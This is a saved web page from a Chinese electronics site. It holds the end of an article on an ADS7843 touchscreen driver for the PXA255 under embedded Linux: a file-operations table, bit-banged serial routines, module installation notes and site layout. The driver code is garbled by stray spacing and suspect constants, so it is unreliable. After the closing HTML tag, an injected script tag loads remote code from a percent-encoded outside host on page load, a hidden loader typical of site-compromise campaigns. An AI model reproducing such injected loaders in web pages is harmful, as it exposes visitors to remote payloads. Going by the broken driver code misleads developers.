📄 电子设计信息网 - 基于pxa255的触摸屏控制器ads7843驱动程序设计.htm
字号:
设备文件操作结构体 <BR>static st ruct file_operations ads7843_t
s_fops = { <BR>read :ads7843_t s_read , / /
从设备中读数据操作 <BR>poll :ads7843_t s_poll , / / 查询设备操作
<BR>ioctl : ads7843_t s_ioctl , / / 设备IO 控制操作
<BR>fasync : ads7843_t s_fasync , / / 异步通知操作 <BR>open
: ads7843_t s_open , / / 打开设备操作 <BR>release :
ads7843_t s_release , } ; / / 当文件结构被释放时,调用释放操作
<BR><BR>由于文章篇幅所限,对设备文件操作的功能函数不再一一列出。 <BR><BR>5)
ADS7843 具体操作函数 <BR>①ADS7843 串行输出控制字函数 <BR>void
ADS7843_din (char command) <BR>udelay(DELA Y) ; / / 延时
<BR>for (int i = 0 ; i < 8 ; i + + ) / / 从串行输入端输入8
位控制字 <BR>{ ADS7843_ClearBit (0 , ADS7843_CL K) ; / /
时钟变低,下降沿输出 <BR> if ( (command > > i) &0x1)
<BR> ADS7843_SetBit (0 , ADS7843_DIN) ; / / 数据位为1
<BR> el se <BR> ADS7843_ClearBit (0 , ADS7843_DIN) ;
/ / 数据位为0 <BR> udelay (DELA Y) ; <BR> ADS7843_SetBit
(0 , ADS7843_CL K) ;}} / / 时钟变高 <BR><BR>②微处理器读取X
坐标值函数(读取Y坐标值函数相类似,控制字为0x90) <BR>int ADS7843_t
s_measure_x (void) <BR>{ char i , int touch_data = 0 ;
<BR>ADS7843_ClearBit (0 , ADS7843_CS) ; / / 片选端置低电平
<BR>udelay(DELA Y) ; <BR>ADS7843_din (0xD0) ; / /
向ADS7843 发送读X 坐标控制字0xD0 <BR>ADS7843_ClearBit (0 ,
ADS7843_CL K) ; <BR>udelay(DELA Y) ; <BR>while ( ! (
GPLR0 & GPIO_ bit (ADS7843 _BUSY) ) ) print k (
"BUSY1\ n" ) ; <BR>ADS7843_ClearBit (0 , ADS7843_CL K)
; <BR>for (i = 0 ; i < 15 ; i + + ) / / 读取坐标值
<BR>{ touch_data < < = 1 ; <BR>if ( GPLR0 &
GPIO_bit (ADS7843_DOU T) ) <BR> touch_data | = 0x01 ;
<BR>else <BR> touch_data & = 0xffffe ;
<BR>ADS7843_SetBit (0 , ADS7843_CL K) ;
<BR>udelay(DELA Y) ; <BR>ADS7843_ClearBit (0 ,
ADS7843_CL K) ;} <BR>touch_data > > = 3 ;/ /
对最后4 位自动置0 处理 <BR>return (touch_data & 0xfff) ;}
<BR><BR>4 驱动模块的安装
<BR>在Linux操作系统中,对于已编好的设备驱动程序,利用编译工具将驱动程序编译成驱动模块。对于驱动模块的安装,一种方法是重新编译Linux内核将驱动程序加载到系统内核,另一种方法就是利用inmod和rmmod函数动态地装载和卸载设备驱动模块。我们在IntelXscalePXA255评估板上利用重新编译Linux内核的方法将触摸屏控制器ADS7843的驱动模块加载到系统内核。运行后取得了理想的效果。
<BR><BR>5 结束语
<BR>触摸屏已成为现代嵌入式设备人机交互的首选输入设备,触摸屏控制器的驱动程序设计当然也就成为嵌入式设备研发的必需工作。本文以ADS7843为例介绍了在嵌入式Linux操作系统中触摸屏控制器驱动程序设计的编程方法。对于在嵌入式Linux操作系统下进行其它设备的驱动开发具有一定的启示作用。 <BR>
<BR></SPAN></BLOCKQUOTE></TD></TR>
<TR>
<TD style="PADDING-LEFT: 40px" height=30>标签: <SPAN
id=lblKeywordsLink><A class=keyword
href="http://www.edires.net/snewssystem/search.aspx?q=嵌入式Linux"
target=_blank>嵌入式Linux </A> <A class=keyword
href="http://www.edires.net/snewssystem/search.aspx?q=触摸屏"
target=_blank>触摸屏</A> <A class=keyword
href="http://www.edires.net/snewssystem/search.aspx?q=ADS7843"
target=_blank>ADS7843 </A> <A class=keyword
href="http://www.edires.net/snewssystem/search.aspx?q= PXA255 微处理器"
target=_blank> PXA255 微处理器</A> </SPAN> </TD></TR>
<TR>
<TD vAlign=center bgColor=#ffffff colSpan=2 height=15>
<DIV align=right>
<TABLE cellSpacing=0 cellPadding=0 width="100%"
border=0>
<TBODY>
<TR>
<TD width="50%" height=60>
<DIV align=left>
<DIV id=divLastNewsLink></DIV><BR></DIV></TD>
<TD width="50%" height=60>
<DIV align=right>
<DIV
id=divNextNewsLink></DIV></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR>
<TR>
<TD vAlign=center bgColor=#ffffff colSpan=2 height=50>
<DIV align=right>
<TABLE class=n12 id=Table1 cellSpacing=0 cellPadding=0
border=0>
<TBODY>
<TR>
<TD>【<A class=link6 onclick=zoom(16);
href="javascript:;">大</A> <A class=link6
onclick=zoom(14); href="javascript:;">中</A> <A
class=link6 onclick=zoom(12);
href="javascript:;">小</A>】 </TD>
<TD>【<A class=link6 id=lnkComment
href="http://www.edires.net/snewssystem/comment.aspx?newsid=129">评论</A>】</TD>
<TD>【<A class=link6 id=lnkShowComment
href="http://www.edires.net/snewssystem/commentlist.aspx?newsid=129">查看评论</A>】</TD>
<TD>【<A class=link6
href="javascript:window.history.back()">返回</A>】</TD>
<TD>【<A class=link6
href="javascript:window.close()">关闭</A>】</TD></TR></TBODY></TABLE></DIV></TD></TR>
<TR>
<TD vAlign=top bgColor=#ffffff colSpan=2>
<TABLE cellSpacing=0 cellPadding=0 width="80%"
align=left border=0>
<TBODY>
<TR bgColor=#999999>
<TD colSpan=3 height=1></TD></TR>
<TR>
<TD width=1 bgColor=#999999 rowSpan=2></TD>
<TD class=n12 bgColor=#ececec>
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=0 width="96%"
border=0>
<TBODY>
<TR>
<TD></TD></TR>
<TR>
<TD class=title2 height=20>
<DIV align=left></DIV>
<DIV align=left>
<TABLE cellSpacing=0 cellPadding=0 width="100%"
border=0>
<TBODY>
<TR>
<TD>读者评论</TD></TR></TBODY></TABLE></DIV></TD></TR>
<TR>
<TD align=left>
<TABLE cellSpacing=0 cellPadding=0 width="100%"
border=0>
<TBODY>
<TR bgColor=#999999>
<TD colSpan=2
height=1></TD></TR></TBODY></TABLE>
<SCRIPT language=javascript
src="电子设计信息网 - 基于PXA255的触摸屏控制器ADS7843驱动程序设计.files/commentlistjs.htm"></SCRIPT>
</TD></TR>
<TR>
<TD></TD></TR></TBODY></TABLE></DIV></TD>
<TD width=1 bgColor=#999999 rowSpan=2></TD></TR>
<TR>
<TD bgColor=#999999
height=1></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top bgColor=#ffffff colSpan=2></TD></TR>
<TR>
<TD vAlign=top bgColor=#ffffff colSpan=2>
<TABLE cellSpacing=0 cellPadding=0 width="80%"
align=left border=0>
<TBODY>
<TR bgColor=#999999>
<TD colSpan=3 height=1></TD></TR>
<TR>
<TD width=1 bgColor=#999999 rowSpan=2></TD>
<TD class=n12 bgColor=#ececec>
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=0 width="96%"
border=0>
<TBODY>
<TR>
<TD></TD></TR>
<TR>
<TD class=title2 height=20>
<DIV align=left></DIV>
<DIV align=left>
<TABLE cellSpacing=0 cellPadding=0 width="100%"
border=0>
<TBODY>
<TR>
<TD>推荐文章</TD></TR></TBODY></TABLE></DIV></TD></TR>
<TR>
<TD align=left></TD></TR>
<TR>
<TD></TD></TR></TBODY></TABLE></DIV></TD>
<TD width=1 bgColor=#999999 rowSpan=2></TD></TR>
<TR>
<TD bgColor=#999999
height=1></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top bgColor=#ffffff
colSpan=2></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD colSpan=2>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD width=955
background="电子设计信息网 - 基于PXA255的触摸屏控制器ADS7843驱动程序设计.files/b_05.gif"
height=52>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD width="13%" rowSpan=2></TD>
<TD width="87%"><SPAN class=style2><SPAN class=n14>Copyright
©2006 Electronic Design Information Resource All Copyright
Reserved</SPAN> <SPAN class=n14></SPAN></SPAN></TD></TR>
<TR>
<TD><SPAN class=style2><SPAN class=n14>E-Mail: <A class=link9
href="mailto:admin@edires.net">mailto:admin@edires.net</A></SPAN>
</SPAN></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD height=5>
<P align=center><SPAN
class=style3><BR></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -